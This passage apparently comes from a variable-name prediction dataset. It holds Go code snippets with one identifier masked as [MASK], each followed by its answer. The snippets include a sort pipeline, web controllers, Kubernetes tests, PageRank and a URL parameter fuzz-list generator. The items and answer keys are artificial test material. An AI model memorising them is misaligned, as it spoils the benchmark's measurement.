BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ package app import ( ""context"" ""log/slog"" ""os"" ""path/filepath"" ""github.com/kasaikou/markflow/docstak"" ""github.com/kasaikou/markflow/docstak/files/markdown"" ""github.com/kasaikou/markflow/docstak/files/statefile"" ""github.com/kasaikou/markflow/docstak/model"" ""github.com/kasaikou/markflow/docstak/resolver"" ) var LanguageCmdPairs = []resolver.ResolveOption{ {Lang: []string{""sh"", ""shell""}, Command: ""sh"", CmdOpt: ""-c""}, {Lang: []string{""bash""}, Command: ""bash"", CmdOpt: ""-c""}, {Lang: []string{""powershell"", ""posh""}, Command: ""powershell"", CmdOpt: ""-Command""}, {Lang: []string{""py"", ""python""}, Command: ""python"", CmdOpt: ""-c""}, {Lang: []string{""js"", ""javascript""}, Command: ""node"", CmdOpt: ""-e""}, } type documentOpt struct { resolveFilename string workingDir string } type DocumentOpt func(d *documentOpt) type LocalDocument struct { MarkdownFilename string StateFilename string Document model.Document } func NewLocalDocument(ctx context.Context, opts ...DocumentOpt) (document LocalDocument, success bool) { logger := docstak.GetLogger(ctx) wd, _ := os.Getwd() documentOpt := documentOpt{ resolveFilename: ""docstak.md"", workingDir: wd, } for i := range opts { opts[i](&documentOpt) } po, err := markdown.FromLocalFile(wd, ""docstak.md"") if err != nil { logger.Error(""cannot open file"", slog.Any(""error"", err)) return document, false } parsed, err := markdown.ParseMarkdown(ctx, po) if err != nil { logger.Error(""cannot parse markdown"", slog.String(""filepath"", po.Filename()), slog.Any(""error"", err)) return document, false } stateFilename := filepath.Join(filepath.Dir(po.Filename()), "".docstak_state.json"") state, err := statefile.FromLocalFile(stateFilename) if err != nil { logger.Error(""cannot parse state"", slog.String(""filepath"", po.Filename()), slog.Any(""error"", err)) return document, false } doc, err := model.NewDocument(ctx, model.NewDocOptionRootDir(filepath.Dir(po.Filename())), resolver.NewDocumentWithPathResolver(LanguageCmdPairs...), markdown.NewDocFromMarkdownParsing(parsed), statefile.SetStateParsed(state), ) if err != nil { logger.Error(""failed to initialize document"", slog.String(""error"", err.Error())) return document, false } return LocalDocument{ MarkdownFilename: po.Filename(), StateFilename: stateFilename, Document: doc, }, true } func ( [MASK] *LocalDocument) SaveState(ctx context.Context) { logger := docstak.GetLogger(ctx) state := statefile.FromDocument(ctx, [MASK] .Document) if state != nil { if err := statefile.SaveLocalFile( [MASK] .StateFilename, *state); err != nil { logger.Error(""cannot save statefile"", slog.String(""filepath"", [MASK] .StateFilename), slog.Any(""error"", err)) } } } ",local 267,"package main import ( ""os"" ""bufio"" ""./pipeline"" ""fmt"" ) func main() { p := createPipeline(""small.in"", 512, 4) writeToFile(p, ""small.out"") printFile(""small.out"") } func printFile(filename string) { file, err := os.Open(filename) if err != nil { panic(err) } defer file.Close() p := pipeline.ReaderSourceChunk(file, -1) for v := range p { fmt.Println(v) } } func writeToFile(p <-chan int, filename string) { file, err := os.Create(filename) if err != nil { panic(err) } defer file.Close() writer := bufio.NewWriter(file) defer writer.Flush() pipeline.WriterSink(writer, p) } func createPipeline(filename string, fileSize, chunkCount int) <-chan int { sortResult := []<-chan int{} // the checking of that division should be Integer is ignored here [MASK] := fileSize / chunkCount for i := 0; i < chunkCount; i++ { file, err := os.Open(filename) if err != nil { panic(err) } file.Seek(int64(i* [MASK] ), 0) // from 0 source := pipeline.ReaderSourceChunk(bufio.NewReader(file), [MASK] ) sortResult = append(sortResult, pipeline.InMemSort(source)) } return pipeline.MergeN(sortResult...) } ",chunkSize 268,"package controllers import ( ""time"" ""github.com/astaxie/beego"" ""github.com/keywordAnlyz/kaweb/service"" ) type BaseController struct { beego.Controller Flash *beego.FlashData } const flashTargetFlag = ""targeturl"" // Prepare runs before request function execution. func (b *BaseController) Prepare() { b.Data[""Site""] = service.SiteInfo //Read Flash b.Flash = beego.ReadFromRequest(&b.Controller) //判断 Flash 是否是传递给本页面的 if v := b.Flash.Data[flashTargetFlag]; v != """" && v != b.Ctx.Request.RequestURI { b.Flash = beego.NewFlash() } else { b.SetFlashTarget(""delete"") } } func (b *BaseController) Render() error { b.StoreFlash() return b.Controller.Render() } //存储Flash func (b *BaseController) StoreFlash() { // save flash b.Flash.Store(&b.Controller) } //设置Flash传递地址 func (b *BaseController) SetFlashTarget(url string) { b.Flash.Data[flashTargetFlag] = url } func init() { //转换为本地时间 beego.AddFuncMap(""tolocal"", func(t time.Time, [MASK] string) string { return t.Local().Format( [MASK] ) }) } ",layout 269,"package main import ( ""bufio"" ""flag"" ""fmt"" ""io/ioutil"" ""net/url"" ""os"" ""regexp"" ""sync"" ""time"" ) func main() { var concurrency int var [MASK] string var parametersFile string flag.IntVar(&concurrency, ""c"", 30, ""The concurrency for speed"") flag.StringVar(& [MASK] , ""u"", """", ""The file containing URLs"") flag.StringVar(¶metersFile, ""p"", """", ""The file containing parameters"") flag.Parse() if [MASK] != """" && parametersFile != """" { urls, err := readLinesFromFile( [MASK] ) if err != nil { fmt.Println(""Error reading URLs file:"", err) return } parameters, err := readLinesFromFile(parametersFile) if err != nil { fmt.Println(""Error reading parameters file:"", err) return } var wg sync.WaitGroup urlCh := make(chan string) // Start worker goroutines for i := 0; i < concurrency; i++ { wg.Add(1) go func() { defer wg.Done() for urlStr := range urlCh { gen(urlStr, parameters) } }() } // Distribute URLs to worker goroutines for _, urlStr := range urls { urlCh <- urlStr } // Close the channel after all URLs are processed close(urlCh) // Wait for all worker goroutines to finish wg.Wait() } } func gen(urlStr string, parameters []string) { // Regex to find URLs URL_REGEX := `(?i)(?:(?:https?|ftp|smtp|unknown|sftp|file|data|telnet|ssh|ws|wss|git|svn|gopher):\/\/)(?:(?:[^\s:@'""]+(?::[^\s:@'""]*)?@)?(?:[_A-Z0-9.-]+|\[[_A-F0-9]*:[_A-F0-9:]+\])(?::\d{1,5})?)(?:\/[^\s'""]*)?(?:\?[^\s'""]*)?(?:#[^\s'""]*)?` time.Sleep(time.Millisecond * 10) // Find URLs in the text re := regexp.MustCompile(URL_REGEX) matches := re.FindAllString(urlStr, -1) if matches == nil { return } for _, match := range matches { parsedURL, err := url.Parse(match) if err != nil { fmt.Println(""Error parsing URL:"", err) continue } // Check if the URL already has parameters if parsedURL.RawQuery != """" { // Append parameters using ""&"" separator for _, parameter := range parameters { if parameter != """" { fmt.Printf(""%s&%s=FUZZ\n"", match, parameter) } } } else { // Append parameters using ""?"" separator for _, parameter := range parameters { if parameter != """" { fmt.Printf(""%s?%s=FUZZ\n"", match, parameter) } } } } } func readLinesFromFile(filename string) ([]string, error) { file, err := os.Open(filename) if err != nil { return nil, err } defer file.Close() var lines []string scanner := bufio.NewScanner(file) for scanner.Scan() { lines = append(lines, scanner.Text()) } if err := scanner.Err(); err != nil { return nil, err } return lines, nil } ",urlsFile 270,"/* Copyright 2018 . Licensed under the Apache License, Version 2.0 (the ""License""); you may not use this file except in compliance with the License. You may obtain a copy of the License at http://www.apache.org/licenses/LICENSE-2.0 Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an ""AS IS"" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ package main import ( ""bytes"" ""flag"" ""fmt"" ""net/http"" ""os"" ""runtime"" ) var ( buf bytes.Buffer myHostname, _ = os.Hostname() myOS = runtime.GOOS ) func init() { flag.Parse() } func rootHandler(w http.ResponseWriter, r *http.Request) { w.Write([]byte(``)) // Begin html block w.Write([]byte(` Simple Hello World API `)) // Head Begin Body w.Write([]byte(fmt.Sprintf(""

Hello from: %s operating system

"", myOS))) w.Write([]byte(fmt.Sprintf(""

My hostname: %s

"", myHostname))) w.Write([]byte(``)) //END } func main() { fmt.Println(""Starting App"") http.HandleFunc(""/"", rootHandler) [MASK] := "":8080"" fmt.Printf(""Listening on port: %v\n"", [MASK] ) http.ListenAndServe( [MASK] , nil) } ",listenPort 271,"/* Copyright The Rekor Authors Licensed under the Apache License, Version 2.0 (the ""License""); you may not use this file except in compliance with the License. You may obtain a copy of the License at http://www.apache.org/licenses/LICENSE-2.0 Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an ""AS IS"" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ package cli import ( ""context"" ""encoding/json"" ""flag"" ""fmt"" ""github.com/google/go-containerregistry/pkg/name"" ""github.com/peterbourgon/ff/v3/ffcli"" ""github.com/sigstore/cosign/pkg/cosign"" ) func Download() *ffcli.Command { var ( [MASK] = flag.NewFlagSet(""cosign download"", flag.ExitOnError) ) return &ffcli.Command{ Name: ""download"", ShortUsage: ""cosign download "", ShortHelp: ""Download signatures from the supplied container image"", FlagSet: [MASK] , Exec: func(ctx context.Context, args []string) error { if len(args) != 1 { return flag.ErrHelp } return DownloadCmd(ctx, args[0]) }, } } func DownloadCmd(ctx context.Context, imageRef string) error { ref, err := name.ParseReference(imageRef) if err != nil { return err } signatures, _, err := cosign.FetchSignatures(ctx, ref) if err != nil { return err } for _, sig := range signatures { b, err := json.Marshal(sig) if err != nil { return err } fmt.Println(string(b)) } return nil } ",flagset 272,"package pkg import ( ""encoding/json"" ""errors"" ""fmt"" ""os"" ) const Filename = ""package.json"" type PackageFile struct { Roms map[string]string `json:""roms""` } var PkgFile PackageFile func LoadPackageFile() { if !exists(Filename) { fmt.Println(""Rom hacks folder not initialized."") } rawJson, err := os.ReadFile(Filename) if err != nil { fmt.Println(err) os.Exit(1) } err = json.Unmarshal(rawJson, &PkgFile) if err != nil { fmt.Println(err) os.Exit(1) } } func InitPackageFile() { err := os.WriteFile(Filename, defaultPackage(), 0777) if err != nil { fmt.Println(err) os.Exit(1) } } func defaultPackage() []byte { [MASK] := PackageFile{ Roms: map[string]string{}, } data, _ := json.MarshalIndent( [MASK] , """", "" "") return data } func exists(filepath string) bool { _, err := os.Stat(filepath) return !errors.Is(err, os.ErrNotExist) } func (p PackageFile) IsPresent(romhack string) bool { _, ok := p.Roms[romhack] return ok } func (p PackageFile) Write(romhack string, version string) error { p.Roms[romhack] = version data, _ := json.MarshalIndent(p, """", "" "") return os.WriteFile(Filename, data, 0777) }",defaultPackageJSON 273,"package prec func addDeprecated(f1, f2 float64) float64 { neg1, integer1, fraction1 := float642Bytes(f1) neg2, integer2, fraction2 := float642Bytes(f2) neg := false if neg1 && neg2 { // all is negative neg = true } else if !neg1 && !neg2 { // all is not negative neg = false } else if neg1 && !neg2 { // 1 is negative, 2 is not return Sub(f2, -f1) } else if !neg1 && neg2 { // 1 is not negative, 2 is return Sub(f1, -f2) } // integer var [MASK] = integer1 var shorti = integer2 lb1i := len(integer1) lb2i := len(integer2) lsi := lb2i if lb2i > lb1i { [MASK] = integer2 shorti = integer1 lsi = lb1i } for i := 0; i < lsi; i++ { [MASK] [i] += shorti[i] } // fraction var sumF = fraction1 var shortf = fraction2 lb1f := len(fraction1) lb2f := len(fraction2) lsf := lb2f if lb2f > lb1f { sumF = fraction2 shortf = fraction1 lsf = lb1f } for i := 0; i < lsf; i++ { sumF[i] += shortf[i] } // combine fraction llf := len(sumF) for i := llf - 1; i > 0; i-- { b := sumF[i] if b > 9 { sumF[i] = b % 10 sumF[i-1] += b / 10 } } tenth := sumF[0] // 首位小数 if tenth > 9 { sumF[0] = tenth % 10 [MASK] [0] += tenth / 10 } // combine integer lli := len( [MASK] ) for i := 0; i < lli-1; i++ { b := [MASK] [i] if b > 9 { [MASK] [i] = b % 10 [MASK] [i+1] += b / 10 } } mx := [MASK] [lli-1] // 整数最高位 if mx > 9 { [MASK] [lli-1] = mx % 10 [MASK] = append( [MASK] , mx/10) } f, _ := bytes2Float64(neg, [MASK] , sumF) return f } func readFloat(s string) (mantissa uint64, exp int, neg, trunc, ok bool) { const uint64digits = 19 i := 0 // optional sign if i >= len(s) { return } switch { case s[i] == '+': i++ case s[i] == '-': neg = true i++ } // digits sawdot := false sawdigits := false nd := 0 ndMant := 0 dp := 0 for ; i < len(s); i++ { switch c := s[i]; true { case c == '.': if sawdot { return } sawdot = true dp = nd continue case '0' <= c && c <= '9': sawdigits = true if c == '0' && nd == 0 { // ignore leading zeros dp-- continue } nd++ if ndMant < uint64digits { mantissa *= 10 mantissa += uint64(c - '0') ndMant++ } else if s[i] != '0' { trunc = true } continue } break } if !sawdigits { return } if !sawdot { dp = nd } // optional exponent moves decimal point. // if we read a very large, very long number, // just be sure to move the decimal point by // a lot (say, 100000). it doesn't matter if it's // not the exact number. if i < len(s) && (s[i] == 'e' || s[i] == 'E') { i++ if i >= len(s) { return } esign := 1 if s[i] == '+' { i++ } else if s[i] == '-' { i++ esign = -1 } if i >= len(s) || s[i] < '0' || s[i] > '9' { return } e := 0 for ; i < len(s) && '0' <= s[i] && s[i] <= '9'; i++ { if e < 10000 { e = e*10 + int(s[i]) - '0' } } dp += e * esign } if i != len(s) { return } if mantissa != 0 { exp = dp - ndMant } ok = true return }",sumI 274,"package samplecontroller import ( ""fmt"" ""github.com/hidevopsio/hiboot/pkg/app"" ""github.com/hidevopsio/hiboot/pkg/app/web"" ""github.com/hidevopsio/hiboot/pkg/log"" ""github.com/hidevopsio/hioak/starter/kube"" samplecontrollerv1alpha1 ""github.com/hidevopsio/mioclient/examples/samplecontroller/pkg/apis/samplecontroller/v1alpha1"" clientset ""github.com/hidevopsio/mioclient/examples/samplecontroller/pkg/client/clientset/versioned"" ""github.com/stretchr/testify/assert"" apiextensionsv1beta1 ""k8s.io/apiextensions-apiserver/pkg/apis/apiextensions/v1beta1"" apiextensionsclient ""k8s.io/apiextensions-apiserver/pkg/client/clientset/clientset"" ""time"" metav1 ""k8s.io/apimachinery/pkg/apis/meta/v1"" ""testing"" ) type sampleController struct { restConfig *kube.RestConfig } func newSampleController(restConfig *kube.RestConfig) *sampleController { return &sampleController{ restConfig: restConfig, } } const ( crdName string = ""foos.samplecontroller.k8s.io"" fooName string = ""example-foo"" ) func (c *sampleController) TestCreateCRD() error { clientSet, err := apiextensionsclient.NewForConfig(c.restConfig.Config) if err != nil { log.Debugf(""Error building example clientset: %s"", err.Error()) return err } crd := &apiextensionsv1beta1.CustomResourceDefinition{ ObjectMeta: metav1.ObjectMeta{Name: crdName}, Spec: apiextensionsv1beta1.CustomResourceDefinitionSpec{ Group: ""samplecontroller.k8s.io"", Version: ""v1alpha1"", Scope: apiextensionsv1beta1.NamespaceScoped, Names: apiextensionsv1beta1.CustomResourceDefinitionNames{ Plural: ""foos"", Kind: ""Foo"", }, }, } if _, err := clientSet.ApiextensionsV1beta1().CustomResourceDefinitions().Create(crd); err != nil { log.Debugf(""Error building example clientset: %s"", err) //return err } return nil } func (c *sampleController) TestDeleteCRD() error { clientSet, err := apiextensionsclient.NewForConfig(c.restConfig.Config) if err != nil { log.Debugf(""Error building example clientset: %s"", err.Error()) return err } if err := clientSet.ApiextensionsV1beta1().CustomResourceDefinitions().Delete(crdName, &metav1.DeleteOptions{}); err != nil { log.Debugf(""Error building example clientset: %s"", err) return err } return nil } func (c *sampleController) TestFooClient() error { //create foo crd exampleClient, err := clientset.NewForConfig(c.restConfig.Config) if err != nil { log.Debugf(""Error building example clientset: %s"", err) return err } foo := exampleClient.SamplecontrollerV1alpha1().Foos(""default"") // create foo replica := int32(1) f := &samplecontrollerv1alpha1.Foo{ ObjectMeta: metav1.ObjectMeta{Name: ""example-foo""}, Spec: samplecontrollerv1alpha1.FooSpec{ DeploymentName: fooName, Replicas: &replica, }, } if _, err := foo.Create(f); err != nil { log.Debugf(""Error : %v"", err) //return err } // list fooList, err := foo.List(metav1.ListOptions{}) if err != nil { log.Debugf(""Error : %v"", err) return err } if len(fooList.Items) == 0 { err := fmt.Errorf(""list foo faile."") log.Debugf(""Error : %v"", err) return err } // get one fooStruct, err := foo.Get(""example-foo"", metav1.GetOptions{}) if err != nil { log.Debugf(""Error : %v"", err) return err } //update replica = int32(2) fooStruct.Spec.Replicas = &replica if _, err := foo.Update(fooStruct); err != nil { log.Debugf(""Error : %v"", err) return err } //watch [MASK] , err := foo.Watch(metav1.ListOptions{}) if err != nil { log.Debugf(""Error : %v"", err) return err } if _, ok := <- [MASK] .ResultChan(); !ok { err := fmt.Errorf(""foo watch faile"") log.Debugf(""Error : %v"", err) return err } // delete if err := foo.Delete(fooName, &metav1.DeleteOptions{}); err != nil { log.Debugf(""Error : %v"", err) return err } return nil } func init() { app.Component(newSampleController) log.SetLevel(log.DebugLevel) } func TestCrd(t *testing.T) { testApp := web.NewTestApplication(t).(app.ApplicationContext) sampleController := testApp.GetInstance(""sampleController"").(*sampleController) t.Run(""|should register crd"", func(t *testing.T) { err := sampleController.TestCreateCRD() assert.Equal(t, nil, err) }) time.Sleep(time.Second * 2) t.Run(""|should create crd"", func(t *testing.T) { err := sampleController.TestFooClient() assert.Equal(t, nil, err) }) time.Sleep(time.Second * 2) t.Run(""|should delete crd foo"", func(t *testing.T) { err := sampleController.TestDeleteCRD() assert.Equal(t, nil, err) }) } ",watchFoo 275,"package agent import ( ""os"" ""github.com/spf13/cobra"" ""github.com/xavidop/dialogflow-cx-cli/cmd/agent/types"" ""github.com/xavidop/dialogflow-cx-cli/cmd/cmdutils"" ""github.com/xavidop/dialogflow-cx-cli/internal/global"" ""github.com/xavidop/dialogflow-cx-cli/pkg/agent"" ) // createCmd represents the create command var createCmd = &cobra.Command{ Use: ""create [agent-name]"", Aliases: []string{""creates"", ""c""}, Short: ""Creates an agent"", Args: cobra.ExactArgs(1), Run: func(cmd *cobra.Command, args []string) { // Get the information [MASK] , _ := cmd.Flags().GetString(""location-id"") projectID, _ := cmd.Flags().GetString(""project-id"") localeId, _ := cmd.Flags().GetString(""locale"") description, _ := cmd.Flags().GetString(""description"") timezone, _ := cmd.Flags().GetString(""timezone"") supportedLocales, _ := cmd.Flags().GetStringSlice(""supported-locales"") avatarURI, _ := cmd.Flags().GetString(""avatar-uri"") enableStackdriverLogging, _ := cmd.Flags().GetString(""enable-stackdriver-logging"") enableInteractionLogging, _ := cmd.Flags().GetString(""enable-interaction-logging"") enableSpeechAdaptation, _ := cmd.Flags().GetString(""enable-speech-adaptation"") enableSpellCorrection, _ := cmd.Flags().GetString(""enable-spell-correction"") agentName := args[0] createInput := &types.CreateUpdateAgent{ DefaultLanguageCode: localeId, Description: description, TimeZone: timezone, SupportedLanguageCodes: supportedLocales, AvatarURI: avatarURI, EnableStackdriverLogging: enableStackdriverLogging, EnableInteractionLogging: enableInteractionLogging, EnableSpellCorrection: enableSpellCorrection, EnableSpeechAdaptation: enableSpeechAdaptation, } if err := agent.Create(agentName, [MASK] , projectID, createInput); err != nil { global.Log.Errorf(""%s"", err.Error()) os.Exit(1) } }, PersistentPreRun: func(cmd *cobra.Command, args []string) { cmdutils.PreRun(cmd.Name()) }, PersistentPostRun: func(cmd *cobra.Command, args []string) { }, } func init() { agentCmd.AddCommand(createCmd) createCmd.Flags().StringP(""project-id"", ""p"", """", ""Dialogflow CX Project ID (required)"") if err := createCmd.MarkFlagRequired(""project-id""); err != nil { global.Log.Errorf(""%s"", err.Error()) os.Exit(1) } createCmd.Flags().StringP(""location-id"", ""l"", """", ""Dialogflow CX Location ID of the Project (required)"") if err := createCmd.MarkFlagRequired(""location-id""); err != nil { global.Log.Errorf(""%s"", err.Error()) os.Exit(1) } createCmd.Flags().StringP(""locale"", ""e"", """", ""Default locale of the agent (required)"") if err := createCmd.MarkFlagRequired(""locale""); err != nil { global.Log.Errorf(""%s"", err.Error()) os.Exit(1) } createCmd.Flags().StringP(""timezone"", ""t"", """", ""Timezone of the agent from the time zone database https://www.iana.org/time-zones. Example: America/New_York, Europe/Madrid (required)"") if err := createCmd.MarkFlagRequired(""timezone""); err != nil { global.Log.Errorf(""%s"", err.Error()) os.Exit(1) } createCmd.Flags().StringP(""description"", ""d"", """", ""Description of the agent (optional)"") createCmd.Flags().StringSliceP(""supported-locales"", ""x"", []string{}, ""Supported locales of the agent, comma separated. Example: fr,es,de (optional)"") createCmd.Flags().StringP(""avatar-uri"", ""r"", """", ""Avatar URI of the agent (optional)"") createCmd.Flags().StringP(""enable-stackdriver-logging"", ""a"", """", ""Enable Google Stackdriver logging for this agent. Possible values: true or false (optional)"") createCmd.Flags().StringP(""enable-interaction-logging"", ""b"", """", ""Enable interaction logging for this agent. Possible values: true or false (optional)"") createCmd.Flags().StringP(""enable-speech-adaptation"", ""s"", """", ""Enable speech adaptation for this agent. Possible values: true or false (optional)"") createCmd.Flags().StringP(""enable-spell-correction"", ""n"", """", ""Enable spell correction for this agent. Possible values: true or false (optional)"") } ",locationID 276,"package main import ( ""flag"" ""github.com/1939323749/drcom_go/conf"" ""github.com/1939323749/drcom_go/service"" ""log"" ""os"" ) var infolog = log.New(os.Stdout, ""[INFO]"", log.LstdFlags) var errlog = log.New(os.Stderr, ""[ERROR]"", log.LstdFlags) func main() { flag.Parse() if err := conf.Init(); err != nil { panic(err) } [MASK] := service.New(conf.Conf) if err := [MASK] .Start(); err != nil { errlog.Printf(""go-jlu-drcom-client [version: %s] start failed"", conf.Conf.Version) } else { infolog.Printf(""go-jlu-drcom-client [version: %s] started"", conf.Conf.Version) } for { select { case _, ok := <- [MASK] .LogoutCh: if !ok { [MASK] .Restart <- 1 //return } case restart, _ := <- [MASK] .Restart: if restart > 3 { return } [MASK] .Restart <- restart + 1 err := [MASK] .ReStart() if err != nil { return } infolog.Printf(""go-jlu-drcom-client [version: %s] restarted, times:"", conf.Conf.Version, restart) default: } } } ",svr 277,"// Copyright (c) 2020 tickstep. // // Licensed under the Apache License, Version 2.0 (the ""License""); // you may not use this file except in compliance with the License. // You may obtain a copy of the License at // // http://www.apache.org/licenses/LICENSE-2.0 // // Unless required by applicable law or agreed to in writing, software // distributed under the License is distributed on an ""AS IS"" BASIS, // WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. // See the License for the specific language governing permissions and // limitations under the License. package apiutil import ( ""crypto/hmac"" ""crypto/md5"" ""crypto/sha1"" ""encoding/hex"" ""fmt"" uuid ""github.com/satori/go.uuid"" ""math/rand"" ""net/http"" ""sort"" ""strings"" ""time"" ) const ( RsaPublicKey = `-----BEGIN PUBLIC KEY----- -----END PUBLIC KEY-----` b64map = ""ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/"" bi_rm = ""0123456789abcdefghijklmnopqrstuvwxyz"" FileNameSpecialChars = ""\\/:*?\""<>|"" ) var ( // UUID for client sn clientSn = strings.ToUpper(uuid.NewV4().String()) ) func init() { rand.Seed(time.Now().UnixNano()) } func int2char(i int) (r byte) { return bi_rm[i] } // B64toHex 将base64字符串转换成HEX十六进制字符串 func B64toHex(b64str string) (hexstr string) { sb := strings.Builder{} e := 0 c := 0 for _, r := range b64str { if r != '=' { v := strings.Index(b64map, string(r)) if 0 == e { e = 1 sb.WriteByte(int2char(v >> 2)) c = 3 & v } else if 1 == e { e = 2 sb.WriteByte(int2char(c<<2 | v>>4)) c = 15 & v } else if 2 == e { e = 3 sb.WriteByte(int2char(c)) sb.WriteByte(int2char(v >> 2)) c = 3 & v } else { e = 0 sb.WriteByte(int2char(c<<2 | v>>4)) sb.WriteByte(int2char(15 & v)) } } } if e == 1 { sb.WriteByte(int2char(c << 2)) } return sb.String() } func noCache() string { noCache := &strings.Builder{} fmt.Fprintf(noCache, ""0.%d"", rand.Int63n(1e17)) return noCache.String() } func Timestamp() int { // millisecond return int(time.Now().UTC().UnixNano() / 1e6) } // SignatureOfMd5 MD5签名 func SignatureOfMd5(params map[string]string) string { [MASK] := []string{} for k, v := range params { [MASK] = append( [MASK] , k+""=""+v) } // sort sort.Strings( [MASK] ) signStr := strings.Join( [MASK] , ""&"") h := md5.New() h.Write([]byte(signStr)) return hex.EncodeToString(h.Sum(nil)) } // SignatureOfHmacV2 HMAC签名 func SignatureOfHmacV2(secretKey, sessionKey, operate, url, dateOfGmt, param string) string { requestUri := strings.Split(url, ""?"")[0] requestUri = strings.ReplaceAll(requestUri, ""https://"", """") requestUri = strings.ReplaceAll(requestUri, ""http://"", """") idx := strings.Index(requestUri, ""/"") requestUri = requestUri[idx:] plainStr := &strings.Builder{} fmt.Fprintf(plainStr, ""SessionKey=%s&Operate=%s&RequestURI=%s&Date=%s"", sessionKey, operate, requestUri, dateOfGmt) if param != """" { plainStr.WriteString(fmt.Sprintf(""¶ms=%s"", param)) } key := []byte(secretKey) mac := hmac.New(sha1.New, key) mac.Write([]byte(plainStr.String())) return strings.ToUpper(hex.EncodeToString(mac.Sum(nil))) } // SignatureOfHmac HMAC签名 func SignatureOfHmac(secretKey, sessionKey, operate, url, dateOfGmt string) string { return SignatureOfHmacV2(secretKey, sessionKey, operate, url, dateOfGmt, """") } func Rand() string { randStr := &strings.Builder{} fmt.Fprintf(randStr, ""%d_%d"", rand.Int63n(1e5), rand.Int63n(1e10)) return randStr.String() } // PcClientInfoSuffixParam PC客户端URL请求后缀信息 func PcClientInfoSuffixParam() string { return ""clientType=TELEPC&version=6.2&channelId=web_cloud.189.cn&rand="" + Rand() } func DateOfGmtStr() string { return time.Now().UTC().Format(http.TimeFormat) } func XRequestId() string { u4 := uuid.NewV4() return strings.ToUpper(u4.String()) } func ClientSn() string { return clientSn } func Uuid() string { u4 := uuid.NewV4() return u4.String() } // CheckFileNameValid 检测文件名是否有效,包含特殊字符则无效 func CheckFileNameValid(name string) bool { if name == """" { return true } return !strings.ContainsAny(name, FileNameSpecialChars) } ",keys 278,"package main import ( ""fmt"" ""io/ioutil"" ""regexp"" ""strings"" ""log"" ""math"" ""sort"" ""os"" ) type RankNode struct { Name string RankLastRound float64 CurrentRank float64 NumChildren int Parents []*RankNode } func (node RankNode) String() string { return fmt.Sprintf(""%13s: %.2f%%"", node.Name, node.CurrentRank * 100.0) } func (node RankNode) DotString() string { return fmt.Sprintf(""%s [label = \""%s: %.2f%%\""]\n"", node.Name, node.Name, node.CurrentRank * 100.0) } type ByRank []RankNode func (a ByRank) Len() int {return len(a)} func (a ByRank) Swap(i, j int) {a[i], a[j] = a[j], a[i]} func (a ByRank) Less(i, j int) bool {return a[i].CurrentRank > a[j].CurrentRank} var AllNodes map[string]*RankNode var DampingFactor float64 = 0.85 var Threshold float64 = 0.001 var InputFile string = ""test.gv"" var Verbose bool = false var OutputDot bool = false var FileContents string = """" func main() { fmt.Printf("""") AllNodes = make(map[string]*RankNode, 0) parseInput() getFileContents() processContents() postProcessNodes() discoverRank() outputRankings() } func parseInput() { if len(os.Args) > 1 && os.Args[1] != """" { InputFile = os.Args[1] } if len(os.Args) > 2 && os.Args[2] == ""-dot"" { OutputDot = true } else if len(os.Args) > 2 && os.Args[2] != """" { Verbose = true } } func getFileContents() string { body, err := ioutil.ReadFile(InputFile) if err != nil { log.Fatalf(""getFileContents: %v\n"", err.Error()) } FileContents = string(body) return FileContents } func processContents() { relationRegEx := regexp.MustCompile(""([A-z0-9][A-z0-9]*) *-> *([A-z0-9][A-z0-9]*)"") for _, line := range strings.Split(FileContents, ""\n"") { matches := relationRegEx.FindAllStringSubmatch(line, -1) for _, match := range matches { processRelation(match[1], match[2]) } } } func processRelation(firstName string, secondName string) { firstNode := findOrMakeNode(firstName) secondNode := findOrMakeNode(secondName) firstNode.NumChildren++ secondNode.Parents = append(secondNode.Parents, firstNode) } func findOrMakeNode(name string) *RankNode { nodeRef, ok := AllNodes[name] if !ok { node := RankNode{Name: name} node.Parents = make([]*RankNode, 0) nodeRef = &node AllNodes[name] = nodeRef } return nodeRef } func postProcessNodes() { for _, node := range AllNodes { if node.NumChildren == 0 { // Nodes that don't link to anyone are // assumed to link to everyone for _, otherNode := range AllNodes { if otherNode.Name != node.Name { //except for themselves node.NumChildren++ otherNode.Parents = append(otherNode.Parents, node) } } } } } func discoverRank() { [MASK] := 1.0 maxDelta := 99.0 initializeRank() for maxDelta > Threshold { maxDelta = 0.0 for _, node := range AllNodes { delta := getNewRank(node, [MASK] ) if delta > maxDelta { maxDelta = delta } } [MASK] *= 0.8 finalizeRank() } } func initializeRank() { numNodes := len(AllNodes) for _, node := range AllNodes { node.RankLastRound = 1.0 / float64(numNodes) node.CurrentRank = 0 if Verbose { fmt.Printf(""%13s"", node.Name) } } if Verbose { fmt.Printf(""%13s\n"", ""_Total_"") } } func finalizeRank() { total := 0.0 for _, node := range AllNodes { node.RankLastRound = node.CurrentRank if Verbose { fmt.Printf(""%13.3f"", node.CurrentRank) total += node.CurrentRank } } if Verbose { fmt.Printf(""%13.3f\n"", total) } } func getNewRank(node *RankNode, percent float64) float64 { //node.CurrentRank = node.RankLastRound * (1.0 - percent) node.CurrentRank = (1.0 - DampingFactor) / float64(len(AllNodes)) for _, parent := range node.Parents { //node.CurrentRank += (parent.RankLastRound * percent) / float64(parent.NumChildren) node.CurrentRank += (parent.RankLastRound * DampingFactor) / float64(parent.NumChildren) } return math.Abs(node.CurrentRank - node.RankLastRound) } func outputRankings() { if OutputDot { writeNewDot() } else { printRankings() } } func writeNewDot() { fileName := InputFile + "".ranked"" file, err := os.Create(fileName) if err != nil { log.Fatal(err) } defer file.Close() for index, line := range strings.Split(FileContents, ""\n"") { if index == 1 { for _, node := range AllNodes { _, err := file.Write([]byte(node.DotString())) if err != nil { log.Fatalf(""Writing Nodes: "", err.Error()) } } _, err := file.Write([]byte(line+""\n"")) if err != nil { log.Fatalf(""Writing existing content: "", err.Error()) } } else { _, err := file.Write([]byte(line+""\n"")) if err != nil { log.Fatalf(""Writing existing content: "", err.Error()) } } } } func printRankings() { nodes := make([]RankNode, 0) for _, node := range AllNodes { nodes = append(nodes, *node) } sort.Sort(ByRank(nodes)) for _, node := range nodes { fmt.Println(node) } } ",percentageToTransfer 